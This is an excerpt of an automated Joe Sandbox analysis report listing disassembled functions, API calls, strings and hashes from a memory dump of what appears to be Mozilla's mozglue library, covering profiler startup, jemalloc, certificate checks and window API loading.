Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
[I %d/%d] profiler_init, xrefs: 6C5B564E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5EB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB845
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EB852
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5EB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5EB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5EBA05
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5EBA27
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EBA4B
free.MOZGLUE(?), ref: 6C5EC9C7
free.MOZGLUE(?), ref: 6C5EC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5EC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5EC7DA

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction ID: 673602e8f352d8f7d6f3a71851b772028b436547dc83b80d0c51d0b56f0f595f
Opcode Fuzzy Hash: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction Fuzzy Hash: 95A2AD71A083808FC725CF69C88079FB7E5BFC9314F444A2DE89A97751DB74A909CB86

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B7103
free.MOZGLUE(00000000), ref: 6C5B7153
CloseHandle.KERNEL32(?), ref: 6C5B7176
__Init_thread_footer.LIBCMT ref: 6C5B7209
__Init_thread_footer.LIBCMT ref: 6C5B723A
__Init_thread_footer.LIBCMT ref: 6C5B726B
__Init_thread_footer.LIBCMT ref: 6C5B729C
__Init_thread_footer.LIBCMT ref: 6C5B72DC
__Init_thread_footer.LIBCMT ref: 6C5B730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5B73C2
VerSetConditionMask.NTDLL ref: 6C5B73F3
VerSetConditionMask.NTDLL ref: 6C5B73FF
VerSetConditionMask.NTDLL ref: 6C5B7406
VerSetConditionMask.NTDLL ref: 6C5B740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5B741A
moz_xmalloc.MOZGLUE(?), ref: 6C5B755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5B7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5B7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5B7598
free.MOZGLUE(00000000), ref: 6C5B75AC

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C5B72C8
wintrust.dll, xrefs: 6C5B72CD
SHA256, xrefs: 6C5B6EC0
(, xrefs: 6C5B768A

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction ID: 5cee9659d234a717aa3a9afd9e7d910aa488b0cbc3a0cfb4499815407a786f80
Opcode Fuzzy Hash: e9db18788376b837c45a8869f1589a6bef62bfba74220a25de14ae13e22b8532
Instruction Fuzzy Hash: 1652F871A003149FEB21DF25CC94BAABBB8EF85704F104599E909A7640DB38AF85CF65

Function 6C5D6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7019
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5D7061
EnterCriticalSection.KERNEL32(?), ref: 6C5D71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C5D721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C5D723E
EnterCriticalSection.KERNEL32(?), ref: 6C5D726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5D72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C5D733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5D73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C5D961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5D96DB
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5D9747
GetSystemInfo.KERNEL32(?), ref: 6C5D9792
__Init_thread_footer.LIBCMT ref: 6C5D97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5D97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5D9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5D984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5D9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5D9895

Strings

MOZ_CRASH(), xrefs: 6C5D9B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5D99A8
MALLOC_OPTIONS, xrefs: 6C5D97CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5D99BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5D99D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5D9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5D9993
Compile-time page size does not divide the runtime one., xrefs: 6C5D9B38
<jemalloc>, xrefs: 6C5D9B33, 6C5D9BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5D9933, 6C5D9A33, 6C5D9A4E

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction ID: db984b5c3d20c7c7087a8a5ab7252641f9035fc751112e8f37139f72e9cb07d8
Opcode Fuzzy Hash: 0a764a7ae00d2ffb893015a2689f6f7e38a6dc351534bedea0e12686ae0ae625
Instruction Fuzzy Hash: DE539C71A057018FD704CF2DC990615BBE1FF8A328F2AC6ADE8698B795D731E841CB85

Function 6C5E0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C5E0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C5E0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C5E1031
LeaveCriticalSection.KERNEL32(?), ref: 6C5E10D0
EnterCriticalSection.KERNEL32(?), ref: 6C5E117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C5E1C39
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5E3391
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5E33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C5E3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5E3437

Strings

MOZ_CRASH(), xrefs: 6C5E3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5E37A8
MALLOC_OPTIONS, xrefs: 6C5E35FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5E37BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5E37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5E3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C5E3793
Compile-time page size does not divide the runtime one., xrefs: 6C5E3946
<jemalloc>, xrefs: 6C5E3941, 6C5E39F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E3559, 6C5E382D, 6C5E3848

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction ID: 5f342d523127de6c28f03d1c147bdb87026a286910bcf43042b90002f6730f0d
Opcode Fuzzy Hash: 834a93480f465204020fb9a3d153ab3dc3bf58be406ef50491b0408c13afe876
Instruction Fuzzy Hash: 10538F71A057028FD304CF29C940616FBE1FF89328F29C66DE8A99B7A5D775E841CB81

Function 6C6055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C5DE1A5), ref: 6C605606
LoadLibraryW.KERNEL32(gdi32,?,6C5DE1A5), ref: 6C60560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C605633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C60563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C60566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C60567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C605696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C605716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C60572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C605748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C605761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C60577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C605793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6057D5
